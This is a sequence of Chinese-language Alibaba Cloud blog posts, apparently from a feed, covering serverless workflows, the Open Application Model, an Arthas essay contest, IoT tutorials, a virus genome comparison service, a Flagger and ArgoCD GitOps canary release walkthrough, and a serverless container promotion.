        下图是对于 4 种调用方式的对比分析。可以看到单体编排更适用于要求极低延迟,无状态 (stateless)的在线业务,逻辑相对简单,执行时间短的场景。FC 函数编排从维护上与微服务模型更加相似,更易于维护和多个团队协作,由于单函数的执行时间限制,同样不适用于长时间执行,也不适用于需要状态持久化 (stateful) 的流程。事件触发通过异步调用可以突破函数执行时长的限制,并且获得一定程度的状态持久化。然后持久化以及重试的程度并不能自定义,可观测性较低和开发成本偏高。对于长时间执行,需要状态维护,自定义重试等场景的关键流程,我们推荐用 Serverless 工作流的方式编排,获得最高的容错性,无限的执行时长,最优化的成本。

        image

        总结

        本文我们简单介绍了工作流以及阿里云的工作流服务 Serverless Workflow。工作流适用于视频处理,数据处理流水线,订单、审批流程,自动化运维机器学习流水线等依赖工作流引擎的场景。使用工作流可以很好地补充完善单个 FC 异步函数的可靠性和可观测性。对于多个 FC 函数的编排,我们给出了 4 种不同的方法编排方式的最佳实践以及其对比分析,您可以根据实际场景选择编排方式。如果您的异步流程对正确性和持久化要求较高,执行时间较长 (分钟级别),关注异步任务的状态,我们推荐使用工作流编排 FC。如名字所示,全托管免运维,自动伸缩,100% 资源使用率,成本优化是 Serverless 解决方案的核心价值。

        image

        image

        联系我们

        如果您对工作流,函数计算,或者 Serverless 相关话题感兴趣欢迎加入我们的官网钉钉群交流、分享、讨论。
        image

        ]]>
        阿里巴巴如何改善开发人员在 K8s 上的体验? Fri, 02 May 2025 09:39:04 +0800 0.png

        作者:邓洪超  阿里巴巴应用交付专家

        前言

        通过 K8s,用户能够自定义基础设施,可以平行的替换或改造平台的已有功能,而非只能局限在平台提供的能力之上构建。但正是这样的“白盒化”体验,正在为越来越多的研发和运维带来“太复杂”的困扰。

        从 Kubernetes 到“以应用为中心”的美好未来之间,全世界的 PaaS 工程师其实都在期待一项全新的技术能够弥补这之间的鸿沟。阿里云原生应用平台团队的做法是,通过为应用“建模”的方式来解决这个问题,这也正是 Open Application Model (OAM) 开源项目得以创建的重要目的。

        阿里巴巴的容器化之旅

        1.png

        阿里巴巴的容器化之旅始于 2013 年。在 Docker 诞生之前,阿里巴巴基于 lxc 的容器引擎研发了容器技术 T4,用于在裸机上部署和管理应用程序。

        2017 年, 阿里巴巴内部孵化了类似于 K8s 的容器编排引擎 Sigma 作为资源统一层,用于管理内部机器池,平均利用率达到 40%。

        2018 年,Sigma 重新设计并迁移成兼容 K8s API,阿里巴巴重新编写了自定义控制器和调度算法,并向暴露声明式 API 给用户试用。

        2019 年底,阿里巴巴中的大多数应用都在 K8s 上运行,并且在 K8s 之上构建了数十个原生框架,构筑 K8s 生态系统。而 2019 年的 双11 活动不仅仅是商业上的成功,更是 K8s 基础设施可以支持如此大规模的有力证明。

        在解决了 K8s 中的规模化和稳定性问题之后,我们开始面临一个新的挑战:K8s API 过于复杂,开发人员很难学习。

        导致 K8s API 复杂的 3 个原因

        K8s API 之所以复杂,主要有以下三个主要原因:

        1. K8s 缺乏以“应用”为中心的资源模型 

        K8s 中没有“应用”的概念,只有松散耦合的基础架构资源。部署应用需要编写 Pod、设置网络和存储之类的基础设施资源,非常底层。然而,对于开发人员来说,他们不想配置这些复杂的底层资源信息,他们想从开发层面指定应用部署规范,例如具有自动扩容、监控、Ingress 等功能的无状态服务组件。我们需要提供更高层级的应用层抽象和以应用程序为中心的资源模型,以弥合部署应用程序和配置之间的差距。

        2.png

        2. K8s API 中没有分离开发和运维的关注点

        其次,K8s API  中没有分离开发和运维的关注点。从上图可以看出,K8s 将所有属于不同角色的字段封装在一个 API 中。例如,开发人员仅需指定容器映像、端口和运行状况检查;运维人员则负责配置副本大小、滚动更新策略、存储卷访问模式等。

        对于 K8s API 来说这样的声明是没有问题的。K8s 意在公开基础架构功能,并用于构建其他平台。因此,它需要包含所有内容,并提供多合一的 API。但是,我们发现多合一 API 不适合写应用程序的终端用户。在 K8s API 之上,我们需要区分角色、将开发和运维的关注点分离开。

        3. 在 K8s 上没有可移植的应用抽象定义

        K8s 定义了使用基础资源的标准方法。但是如上所述,部署应用程序需要网络接入、监控、日志等。我们需要对那些应用程序操作接口进行标准化,实现可移植的应用层抽象。

        OAM 开启下一代云原生 DevOps 技术革命

        针对上述 K8s API 过于复杂、开发人员难学习的问题,这里来介绍一下由阿里巴巴联合微软在社区推出的用于构建和交付云原生应用的标准规范 -- 开放应用程序模型 OAM(Open Application Model)。

        3.png

        2019 年 10 月,阿里巴巴宣布联合微软共同推出开放应用模型项目(Open Application Model - OAM)

        所谓“应用模型”,其实是一个专门用来对云原生应用本身和它所需运维能力进行定义与描述的标准开源规范。所以对于 Kubernetes 来说,OAM 即是一个标准的“应用定义”项目(类比已经不再活跃的 Kubernetes Application CRD 项目),同时也是一个专注于封装、组织和管理 Kubernetes 中各种“运维能力”、以及连接“运维能力”与“应用”的平台层项目。

        4.png

        在 OAM 中,一个应用程序包含三个核心理念:
        第一个核心理念是组成应用程序的服务组件(Component),它包含微服务、数据库、云服务等;
        第二个核心理念是描述应用程序运维特征(Trait)的集合,例如,弹性伸缩和 Ingress 等功能。它们对应用程序的运行至关重要,但在不同环境中其实现方式各不相同;
        最后,为了将这些描述转化为具体的应用实例,运维人员使用应用配置(Application Configuration)来组合组件和相应的特征,以构建可部署的应用交付实例。

        如上图所示,我们可以看到开发人员定义了组件 (Component) 来描述服务单元。然后运维人员定义运维特征 (Trait),并将其附加到前面的组件上,最后构成 OAM 可交付物 -- ApplicationConfiguration。在图中最下方,底层的基础设施资源将通过 OAM 平台呈现。

        5.png

        那么 OAM 如何解决上述三个 Kuberntes API 的问题?首先,OAM 隐藏了底层基础架构细节(例如,是云还是物联网),专注于应用层抽象,提供以应用为中心的资源模型。其次,OAM 划分了应用交付路径上的开发、运维、基础架构三种角色,分离了关注点,让流程更加清晰和易于管理。第三,K8s 定义了基础架构的可移植抽象,而 OAM 站在 K8s 的肩膀上,提供了可移植的应用层抽象,让同一个应用可以跨平台运行。

        OAM 还定义了一组核心工作负载/运维特征/应用范畴,作为应用程序交付平台的基石。并且,这些核心规范有一个开源实现 -- Crossplane。Crossplane 提供了让用户扩展其功能的机制。例如 Crossplane core 提供的 ContainerizedWorkload,在容器中运行应用程序并管理应用程序的生命周期。
        此外,我们还可以添加更多工作负载(例如 FaaS)以运行无服务器功能,或者添加运维特性(例如 CronHPA)来定义 CronJob 类型的 HPA 策略。OAM 以标准的声明方式在单个平台中管理应用交付能力和流程。当模块化的 Workload 和 Trait 越来越多,就会形成组件市场。而 OAM 就像是这个组件市场的管理者,处理组件之间的关系,把许多组件集成起来变成一个产品交付给用户。OAM 加持下的 PaaS,可以像乐高积木一样灵活组装底层能力、运维特征、以及开发组件。使得应用管理变得统一,功能却更加强大!

        结语

        以上我们讨论了 OAM 的背景、动机和架构细节。值得注意的是,OAM 项目是开源中立、由社区驱动的。该规范和实现得到包括 Alibaba、Microsoft、Upbound 在内的开放社区的支持。我们欢迎更多的人参与其中,共同定义云原生应用交付的未来。

        您可以在 github repos 上贡献:https://github.com/oam-dev/spec
        加入邮件列表: https://groups.google.com/forum/#!forum/oam-dev

        加入社区周会: Bi-weekly, Tuesdays 10:30AM PST

        加入钉钉讨论群:

        6.png

        3 群直播海报.png

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        技术征文 | 那些年,我用 arthas 排查过的问题 Fri, 02 May 2025 09:39:04 +0800 arthas1.png

        线上系统为何经常出错?数据库为何屡遭黑手?业务调用为何频频失败?连环异常堆栈案,究竟是哪次调用所为? 数百台服务器意外雪崩背后又隐藏着什么?是软件的扭曲还是硬件的沦丧? 走进科学带你了解 Arthas,一款开源一年多 GitHub star 就近 2 万,99% 的阿里研发小哥都在用的 Java 终极诊断利器!

        Arthas 可以帮你解决这些问题:

        1. 这个类从哪个 jar 包加载的?为什么会报各种类相关的 Exception?
        2. 我改的代码为什么没有执行到?难道是我没 commit?分支搞错了?
        3. 遇到问题无法在线上 debug,难道只能通过加日志再重新发布吗?
        4. 线上遇到某个用户的数据处理有问题,但线上同样无法 debug,线下无法重现!
        5. 是否有一个全局视角来查看系统的运行状况?
        6. 有什么办法可以监控到 JVM 的实时运行状态?
        7. 怎么快速定位应用的热点,生成火焰图?

        开始使用 Arthas

        • 方式一:通过Cloud Toolkit 实现 Arthas 一键远程诊断

        Cloud Toolkit 是阿里云发布的免费本地 IDE 插件,帮助开发者更高效地开发、测试、诊断并部署应用。通过插件,可以将本地应用一键部署到任意服务器,甚至云端(ECS、EDAS、ACK、ACR 和 小程序云等);并且还内置了 Arthas 诊断、Dubbo工具、Terminal 终端、文件上传、函数计算 和 MySQL 执行器等工具。不仅仅有 IntelliJ IDEA 主流版本,还有 Eclipse、Pycharm、Maven 等其他版本。详情可点击:http://t.tb.cn/2A5CbHWveOXzI7sFakaCw8

        • 方式二:直接下载

        地址:https://github.com/alibaba/arthas
        Arthas 的原理、命令在其官方文档有详细介绍,下文将介绍一下近期几个使用场景。

        征文活动介绍

        为了让更多开发者开始用上 Arthas 这个Java 诊断神器,这一次我来发奖你来说,聊聊这些年你和 Arthas 之间的那些事儿。在此次活动中,大家可以尽情表达自己的声音,你可以将使用 Arthas 过程中积累的经验及感悟整理成一篇文章分享给大家,或者也可以把你对 Arthas 提出的建议汇总成稿给到我们,我们将在多个渠道发布。

        当然更欢迎你直接参与 Arthas 开源贡献,成为社区的 contributor!

        第一期征文活动将于 3 月 26 日—— 4 月 26 日举办,后续征文活动将持续至 2020 年 12 月。

        arthas.png

        如何参与活动

        投稿文章要求

        • 字数 1000 字以上,文章层次结构及行文逻辑清晰;
        • 文章必须是原创;
        • 拼写规范:英文和中文间需要空格,数字和中文间需要空格;
        • 禁止发布广告类内容信息;
        • 禁止发布涉政、暴恐、违禁等敏感内容。

        文章投稿福利

        精美礼品

        • 凡提交有效内容(详情参考投稿文章要求)的同学,将获得 Arthas Most Valuable User 福袋一份,包含淘公仔、Arthas 贴纸、阿里云 T 恤 ;
        • 最受欢迎的 top3 的文章,获得天猫精灵一台;
        • 年度 top 20 文章,将获得 cherry 键盘及神秘礼品。

        社区荣誉

        我们将会对稿件内容进行评选,入选的高质量文章,除了实物奖励之外,我们还会:

        • 在阿里巴巴云原生公众号和 Arthas 技术社区的首页,展示您的文章及作者介绍模块,让更多的开发者了解你;
        • 成为 Arthas 社区的贡献者,参与社区的日常运营,并作为社区讲师参与 Arthas 线上/线下活动分享。

        内容方向建议

        1. 使用 Arthas 排查过的问题
          可以将你使用 Arthas 排查的问题整理成一篇文章,分享你在排查问题中的得到的经验与思考,为更多的开发者提供一份“避坑指南”。
        2. 对 Arthas 进行源码解读
          你可以找几个最感兴趣的功能点切入,从源码来分析设计与实现原理,然后整理成稿投稿给我们,基于对 Arthas 的源码解读来和众多开发者们“隔空对话”,来一场思想上的碰撞。
        3. 对 Arthas 提出建议
          如果你希望能够更多地参与到 Arthas 社区中来,可以提出你对 Arthas 的建议或者说出你对 Arthas 未来的期待并将其整理成文。
        4. 不限,其它与 Arthas 有关的内容

        例如,你是如何接触到 Arthas 的?你会选择把 Arthas 推荐给更多的开发者吗?或者只是简单记录一次 Arthas 的使用实践等等均可。

        【参考历史用户文章】

        ]]>
        阿里云物联网平台系列博客综述 Fri, 02 May 2025 09:39:04 +0800 分类
        1、Quick Start

        阿里云物联网平台Qucik Start

        2、基本概念

        阿里云物联网平台物模型功能测试示例Demo

        3、设备端及云端开发

        阿里云物联网平台自定义Topic脚本解析功能演示
        阿里云物联网平台云端NodeJS SDK使用简介
        基于开源 Net MQTT Client 连接阿里云物联网平台
        基于开源Python MQTT Client连接阿里云IoT
        LoRaWAN设备数据解析及开源MQTT SDK设备端模拟
        基于开源JAVA MQTT Client连接阿里云IoT
        阿里云物联网平台网关子设备接入JAVA Sample
        阿里云物联网平台一型一密获取:DeviceSecret 示例
        阿里云物联网消息透传设备端payLoad设置问题
        阿里云物联网平台payLoad设置参考
        阿里云物联网管理SDK使用示例

        4、服务端订阅开发 + 规则引擎

        阿里云物联网平台规则引擎综述
        阿里云物联网平台数据转发到时序时空数据库(TSDB)示例
        阿里云物联网平台数据转发到消息服务(MNS)示例
        阿里云物联网平台数据转发到DataHub示例
        阿里云物联网平台数据转发到函数计算示例
        阿里云物联网平台设备上下线信息通过规则引擎流转到RDS示例
        阿里云物联网平台设备历史属性上报及MNS服务端订阅
        阿里云物联网平台设备数据转发到消息队列RocketMQ全链路测试
        基于Topic消息路由的M2M设备间通信Node JS SDK 示例
        基于规则引擎的M2M设备间通信Node JS SDK 示例
        使用消息服务(MNS)订阅阿里云物联网平台设备消息PHP示例参考
        阿里云物联网平台数据转发到表格存储(Table Store)示例参考

        5、高级功能测试

        阿里云物联网平台NET SDK实现RRPC服务端调用
        阿里云物联网平台设备影子功能演示
        基于开源Java MQTT Client的阿里云物联网平台RRPC功能测试
        阿里云物联网平台设备升级OTA演示
        阿里云物联网平台远程配置功能JAVA 示例参考
        阿里云物联网平台NTP服务 JAVA 示例参考

        6、IoT Studio + LA

        阿里云物联网平台IoT Studio调用数据分析API示例
        阿里云 IoT Studio 服务开发云市场API调用示例
        阿里云IoT Studio服务开发操作OSS存储服务示例
        阿里云数据分析最佳实践:二维数据可视化 + 设备数据下发
        阿里云IoT Studio服务开发定时关灯功能示例Demo
        阿里云物联网平台开发服务(IoT Studio)服务开发调用云端API 示例
        阿里云物联网平台数据分析API调用

        7、未完待续......
        ]]>
        60秒完成基因比对工作 阿里云免费向全球机构开放病毒检测技术 Fri, 02 May 2025 09:39:04 +0800 全球疫情肆虐,各大科技公司都在竭尽全力抗击疫情。

        image

        3月13日,阿里云对外宣布,将向全球医疗科研机构、疾控中心等一线病毒研究机构免费开放病毒比对服务,可大幅提升病毒基因检测效率,最快只需60秒即可完成包括新冠病毒在内的任意病毒基因对比工作,对进一步了解病毒变异提供有效依据。这是继此前宣布AI算力免费后,阿里云再次用技术“抢夺”宝贵时间。

        病毒经过数代传播,会产生变异,追踪掌握病毒变异情况成为科研人员的重中之重。宏基因组测序mNGS是目前较为有效的追踪方案,配合病毒库可精准确定病毒的代际关系,甚至找到病毒源发地。

        但此前的mNGS数据分析较为耗时,以某新冠重症患者为例,系统需要对2200万个序列超过32亿个碱基一一和病毒库比对,检测出新冠病毒特征区域的完全匹配系列,通常这一过程需要30分钟或更久。

        此次阿里云免费开放的基因计算服务AGS(Alibaba Genomics Service),采用容器技术和GPU,即开即用,可同时运行多个病毒基因比对服务,大大缩短了这一进程,60秒内即可获取高质量的基因比对报告,为患者提供更为准确的医疗方案。

        包括疾控中心、各大高校、医院、基因企业等一线病毒研究机构可在阿里云上申请快速开通基因计算服务,为进一步研究病毒蛋白质及变异提供准确的数据支撑。

        目前,国内基因公司安诺优达已开始借助阿里云的计算能力从某肿瘤样本数据中寻找病毒相关序列的数据,用于研究病毒活动与某肿瘤发生的相关性。

        具体使用文档:
        https://help.aliyun.com/document_detail/157123.html

        以下两种申请方式均可

        1 发邮件至 zhuanghuai.lp@alibaba-inc.com

        2 或填写阿里云基因服务公测申请,在项目背景中备注 “用于病毒检测”

        3A4D8B8B_CB13_454A_9E40_69F6AD0A1A64

        ]]>
        基于阿里云托管服务网格ASM完成应用全自动化渐进式发布的GitOps解决方案实践 Fri, 02 May 2025 09:39:04 +0800 简介

        ASM

        ASM当前处于公测阶段,欢迎扫码入群进一步交流:
        dingding.png

        阿里云服务网格(Alibaba Cloud Service Mesh,简称 ASM)提供了一个全托管式的服务网格平台,兼容于社区 Istio 开源服务网格,用于简化服务的治理,包括服务调用之间的流量路由与拆分管理、服务间通信的认证安全以及网格可观测性能力,从而极大地减轻开发与运维的工作负担。ASM的架构示意图如下:
        asm_arch.png
        ASM 定位于混合云、多云、多集群、非容器应用迁移等核心场景中,构建托管式统一的服务网格能力,能够为阿里云用户提供以下功能:

        • 一致的管理方式
          以一致的方式来管理运行于 ACK 托管 Kubernetes 集群、专有 Kubernetes 集群、ServerlessKubernetes 集群、混合云或多云场景下的接入集群上的应用服务,从而提供一致的可观测性和流量控制
        • 统一的流量管理
          支持容器或者虚拟机混合环境下统一的流量管理
        • 控制平面核心组件托管化
          托管控制平面的核心组件,最大限度地降低用户资源开销和运维成本

        ArgoCD

        ArgoCD是一个用于持续交付的Kubernetes配置管理工具。Argo CD 遵循 GitOps 模式,监听当前运行中应用的状态并与Git Repository中声明的状态进行比对,并自动将更新部署到环境中。ArgoCD的架构示意图如下:
        argocd-arch.png

        Flagger

        Flagger是一个用于全自动化渐进式完成应用发布的Kubernetes operator,它通过分析Prometheus收集到的监控指标并通过Istio、App Mesh等流量管理技术或工具完成应用的渐进式发布。架构示意图如下:
        flagger-arch.png

        创建ASM实例

        参考ASM帮助文档创建ASM实例并添加mesh01和mesh02 2个ACK集群:
        asm-instance.png

        部署入口网关服务到mesh01集群:
        ingressgateway.png
        ingressgateway.png

        在控制平面创建一个命名空间test:
        asm-controllpanel.png

        在控制平面创建一个Gateway:

        apiVersion: networking.istio.io/v1alpha3
        kind: Gateway
        metadata:
          name: public-gateway
          namespace: istio-system
        spec:
          selector:
            istio: ingressgateway
          servers:
            - port:
                number: 80
                name: http
                protocol: HTTP
              hosts:
                - "*"

        asm-gateway.png
        asm-gateway.png

        部署Flagger

        分别在mesh1和mesh2 2个ACK集群上按照以下步骤部署Flagger及其依赖组件:

        部署Prometheus

        $ kubectl apply -k github.com/haoshuwei/argocd-samples/flagger/prometheus/

        部署Flagger

        使用ASM实例的kubeconfig创建secret:

        $ kubectl -n istio-system create secret generic istio-kubeconfig --from-file kubeconfig
        $ kubectl -n istio-system label secret istio-kubeconfig  istio/multiCluster=true

        helm安装Flagger:

        $ helm repo add flagger https://flagger.app
        $ helm repo update
        $ kubectl apply -f https://raw.githubusercontent.com/weaveworks/flagger/master/artifacts/flagger/crd.yaml
        $ helm upgrade -i flagger flagger/flagger --namespace=istio-system --set crd.create=false --set meshProvider=istio --set metricsServer=http://prometheus:9090 --set istio.kubeconfig.secretName=istio-kubeconfig --set istio.kubeconfig.key=kubeconfig

        部署Grafana

        $ helm upgrade -i flagger-grafana flagger/grafana --namespace=istio-system --set url=http://prometheus:9090

        我们可以在ASM实例的控制面板上创建grafana服务的虚拟服务来供外部访问:

        apiVersion: networking.istio.io/v1alpha3
        kind: VirtualService
        metadata:
          name: grafana
          namespace: istio-system
        spec:
          hosts:
            - "grafana.istio.example.com"
          gateways:
            - public-gateway.istio-system.svc.cluster.local
          http:
            - route:
                - destination:
                    host: flagger-grafana

        grafana-gateway.png

        访问服务:
        grafana-view.png

        创建命名空间并添加标签

        $ kubectl create ns test
        $ kubectl label namespace test istio-injection=enabled

        部署ArgoCD

        我们可以选择任意一个ACK集群部署ArgoCD
        部署ArgoCD Server:

        $ kubectl create namespace argocd
        $ kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml

        部署ArgoCD CLI:

        $ VERSION=$(curl --silent "https://api.github.com/repos/argoproj/argo-cd/releases/latest" | grep '"tag_name"' | sed -E 's/.*"([^"]+)".*/1/')
        $ curl -sSL -o /usr/local/bin/argocd https://github.com/argoproj/argo-cd/releases/download/$VERSION/argocd-linux-amd64
        $ chmod +x /usr/local/bin/argocd

        获取和修改登录密码:

        $ kubectl get pods -n argocd -l app.kubernetes.io/name=argocd-server -o name | cut -d'/' -f 2
        $ argocd login ip:port
        $ argocd account update-password

        访问服务:
        argocd-view.png

        完成应用全自动化渐进式发布的GitOps流程示例

        ArgoCD添加集群并部署应用

        在这个示例中,我们将会把示例应用podinfo部署到mesh02集群,把loadtester测试应用部署到mesh01集群,统一部署在test命名空间下。
        添加Git Repository https://github.com/haoshuwei/gitops-demo.git到ArgoCD:

        $ argocd repo add https://github.com/haoshuwei/argocd-samples.git--name argocd-samples
        repository 'https://github.com/haoshuwei/argocd-samples.git' added
        $ argocd repo list
        TYPE  NAME         REPO                                          INSECURE  LFS    CREDS  STATUS      MESSAGE
        git   argocd-samples  https://github.com/haoshuwei/argocd-samples.git  false     false  false  Successful

        使用kubeconfig添加mesh01和mesh02 2个集群到ArgoCD:

        $ argocd cluster add mesh01 --kubeconfig=mesh01
        INFO[0000] ServiceAccount "argocd-manager" created in namespace "kube-system"
        INFO[0000] ClusterRole "argocd-manager-role" created
        INFO[0000] ClusterRoleBinding "argocd-manager-role-binding" created
        $ argocd cluster add mesh02 --kubeconfig=mesh02
        INFO[0000] ServiceAccount "argocd-manager" created in namespace "kube-system"
        INFO[0000] ClusterRole "argocd-manager-role" created
        INFO[0000] ClusterRoleBinding "argocd-manager-role-binding" created
        $ argocd cluster list |grep mesh
        https://xx.xx.xxx.xx:6443       mesh02   1.16+    Successful
        https://xx.xxx.xxx.xx:6443      mesh01   1.16+    Successful

        部署应用podinfomesh02集群:

        $ argocd app create --project default --name podinfo --repo https://github.com/haoshuwei/argocd-samples.git --path flagger/podinfo --dest-server https://xx.xx.xxx.xx:6443 --dest-namespace test --revision latest --sync-policy automated

        以上命令行做的事情是创建一个应用podinfo,这个应用的Git Repository源是https://github.com/haoshuwei/gitops-demo.git 项目flagger/podinfo子目录下的文件,分支为latest,应用部署到https://xx.xx.xxx.xx:6443集群的test命名空间下,应用的同步策略是automated

        flagger/podinfo 子目录下包括4个编排文件deployment.yaml hpa.yaml kustomization.yamlcanary.yaml,其中canary.yaml文件就是我们这个示例中完成应用全自动化渐进式金丝雀发布的核心编排文件,内容如下:

        apiVersion: flagger.app/v1beta1
        kind: Canary
        metadata:
          name: podinfo
          namespace: test
        spec:
          targetRef:
            apiVersion: apps/v1
            kind: Deployment
            name: podinfo
          progressDeadlineSeconds: 60
          autoscalerRef:
            apiVersion: autoscaling/v2beta1
            kind: HorizontalPodAutoscaler
            name: podinfo
          service:
            port: 9898
            gateways:
            - public-gateway.istio-system.svc.cluster.local
            hosts:
            - app.istio.example.com
            trafficPolicy:
              tls:
                # use ISTIO_MUTUAL when mTLS is enabled
                mode: DISABLE
          analysis:
            interval: 30s
            threshold: 10
            maxWeight: 50
            stepWeight: 5
            metrics:
            - name: request-success-rate
              threshold: 99
              interval: 30s
            - name: request-duration
              threshold: 500
              interval: 30s
            webhooks:
              - name: load-test
                url: http://loadtester.test/
                timeout: 5s
                metadata:
                  cmd: "hey -z 1m -q 10 -c 2 http://podinfo-canary.test:9898/"

        canary.yaml文件中定义了以下几个关键部分

        spec:
          targetRef:
            apiVersion: apps/v1
            kind: Deployment
            name: podinfo
          progressDeadlineSeconds: 60
          autoscalerRef:
            apiVersion: autoscaling/v2beta1
            kind: HorizontalPodAutoscaler
            name: podinfo

        以上字段表示这个canary资源会监听和引用名为podinfo的deployments资源和HorizontalPodAutoscaler资源。

        service:
            port: 9898
            gateways:
            - public-gateway.istio-system.svc.cluster.local
            hosts:
            - app.istio.example.com
            trafficPolicy:
              tls:
                # use ISTIO_MUTUAL when mTLS is enabled
                mode: DISABLE

        以上字段表示canary资源会在ASM控制面板自动为podinfo应用创建虚拟服务,名字也是podinfo

        analysis:
            interval: 30s
            threshold: 5
            maxWeight: 50
            stepWeight: 5
            metrics:
            - name: request-success-rate
              threshold: 99
              interval: 30s
            - name: request-duration
              threshold: 500
              interval: 30s
            webhooks:
              - name: load-test
                url: http://loadtester.test/
                timeout: 5s
                metadata:
                  cmd: "hey -z 1m -q 10 -c 2 http://podinfo-canary.test:9898/"

        以上字段表示我们在发布新版本podinfo应用时,要先对新版本应用做一些测试和分析,
        interval: 30s, 每隔30s测试一次
        threshold: 5, 失败次数超过5次则认为失败
        maxWeight: 50, 流量权重最大可以切换到50
        stepWeight: 5, 每次增加权重为5
        metrics中定义了2种指标,
        request-success-rate 请求成功率不能小于99
        request-duration RT均值不能大于500ms
        用来生成测试任务的则定义在webhooks字段。

        部署测试应用loadtestermesh01集群:

        $ argocd app create --project default --name loadtester --repo https://github.com/haoshuwei/argocd-samples.git --path flagger/charts/loadtester --dest-server https://xx.xxx.xxx.xx:6443 --dest-namespace test --revision latest --sync-policy automated

        以上应用创建完成后,由于我们设置的sync策略为自动部署,所以应用会自动部署到mesh01和mesh02集群中,我们可以在ArgoCD页面上查看应用详细信息:
        argocd-app.png
        podinfo详情:
        podinfo.png
        loadtester详情:
        loadtester.png

        在ASM的控制面板我们可以查看flagger动态创建的虚拟服务和目标规则:
        podinfo-vs.png
        podinfo-rules.png

        访问服务:
        podinfo-view.png

        GitOps自动发布

        新建分支修改应用容器镜像版本提交,并创建指向latest分支的PullRequest:
        github-pr.png

        管理员审批并merge pr后,latest分支有新代码进入,ArgoCD会自动把更新同步集群环境中,flagger检测到podinfo应用有新版本变更,则开始自动化渐进式地发布新版本应用,通过以下命令可以查看应用发布进度:

        $ watch kubectl get canaries --all-namespaces
        Every 2.0s: kubectl get canaries --all-namespaces                                                                                                         Tue Mar 17 19:04:20 2020
        
        NAMESPACE   NAME      STATUS        WEIGHT   LASTTRANSITIONTIME
        test        podinfo   Progressing   10       2020-03-17T11:04:01Z

        访问应用可以看到有流量切换到新版本上:
        podinfo.png

        同时我们也可以在grafana面板中查看到新版本测试指标情况:
        grafana.png

        整个发布过程的messages输出如下:

        "msg":"New revision detected! Scaling up podinfo.test","canary":"podinfo.test"
        "msg":"Starting canary analysis for podinfo.test","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 5","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 10","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 15","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 20","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 25","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 30","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 35","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 40","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 45","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 50","canary":"podinfo.test"
        "msg":"Copying podinfo.test template spec to podinfo-primary.test","canary":"podinfo.test"
        "msg":"Halt advancement podinfo-primary.test waiting for rollout to finish: 3 of 4 updated replicas are available","canary":"podinfo.test"
        "msg":"Routing all traffic to primary","canary":"podinfo.test"
        "msg":"Promotion completed! Scaling down podinfo.test","canary":"podinfo.test"

        应用发布完毕后,所有流量切换到新版本上:
        podinfo.png

        若新版本应用测试指标不达标,则应用自动回滚到初始稳定状态:

        "msg":"New revision detected! Scaling up podinfo.test","canary":"podinfo.test"
        "msg":"Starting canary analysis for podinfo.test","canary":"podinfo.test"
        "msg":"Advance podinfo.test canary weight 10","canary":"podinfo.test"
        "msg":"Halt advancement no values found for istio metric request-success-rate probably podinfo.test is not receiving traffic","canary":"podinfo.test"
        "msg":"Halt advancement no values found for istio metric request-duration probably podinfo.test is not receiving traffic","canary":"podinfo.test"
        "msg":"Halt advancement no values found for istio metric request-duration probably podinfo.test is not receiving traffic","canary":"podinfo.test"
        "msg":"Halt advancement no values found for istio metric request-duration probably podinfo.test is not receiving traffic","canary":"podinfo.test"
        "msg":"Halt advancement no values found for istio metric request-duration probably podinfo.test is not receiving traffic","canary":"podinfo.test"
        "msg":"Synced test/podinfo"
        "msg":"Rolling back podinfo.test failed checks threshold reached 5","canary":"podinfo.test"
        "msg":"Canary failed! Scaling down podinfo.test","canary":"podinfo.test"

        参考资料

        https://medium.com/google-cloud/automated-canary-deployments-with-flagger-and-istio-ac747827f9d1
        https://docs.flagger.app/
        https://docs.flagger.app/dev/upgrade-guide#istio-telemetry-v2
        https://github.com/weaveworks/flagger
        [](https://help.aliyun.com/document_detail/149550.html)

        ]]>
        免费试用Serverless容器3个月(新用户领100元代金劵) Fri, 02 May 2025 09:39:04 +0800 免费使用Serverless容器服务

        在容器化和Kubernetes为中心的云原生行业大潮下,小伙伴们不再纠结应用是否需要容器化,而是思考着在云上如何更好的管理自己的容器应用,以及如何更好的提升弹性,降低计算成本,和加速应用开发的敏捷性。

        image

        阿里云容器服务团队联合弹性计算团队近日推出了面向新用户使用Serverless容器三个月的免费活动,无需购买ECS服务器,开发者就可以使用100元代金劵快速部署自己的web服务、执行Job任务或者简单的运行docker镜像,体验serverless容器的简单、便捷、弹性和低成本。

        云上容器使用之旅

        image

        相信很多开发者在应用容器化过程中都经历过多个阶段,最初是在本地开发环境中学习docker,比如docker pull/push/run等基础命令,这时我们已经初步认识到容器的优势,build once, run everywhere。然后我们尝试把容器化的应用搬到云上,此时可以选择购买ECS服务器,在ECS中部署docker启动容器,这样一个基础的容器化过程就完成了,然而在单个ECS之中运行容器应用是不够的,需要解决很多生产级别的架构问题,比如ECS宕机后如何保证高可用,如何解决应用的快速水平扩展,以及ECS需要持续运维。显然我们需要一个容器管理系统来替我们解决这些系统级别的问题。至此我们把关注点从ECS服务器转向了容器编排系统。

        容器编排系统解决了两个基本的容器化问题,一是容器的水平扩容,我们需要一组多副本容器来实现应用的水平扩展和高可用,我们称之为“南向”,另外我们需要让一组容器对外暴露服务(SLB/Ingress),我们称之为“北向”,这里的南北向设计是构成大部分生产可用的应用部署架构和编排系统的基本要素。目前Kubernetes已经成为业界容器编排系统的事实标准,部署容器应用已然离不开kubernetes。基于Kubernetes为中心的Cloud Native云原生生态(Helm, Istio, Knative, Spark/AI on k8s等)更是让Kubernetes成为应用部署的重要基石。(阿里云Kubernetes容器服务ACK也已是阿里云上使用Kubernetes的首选)

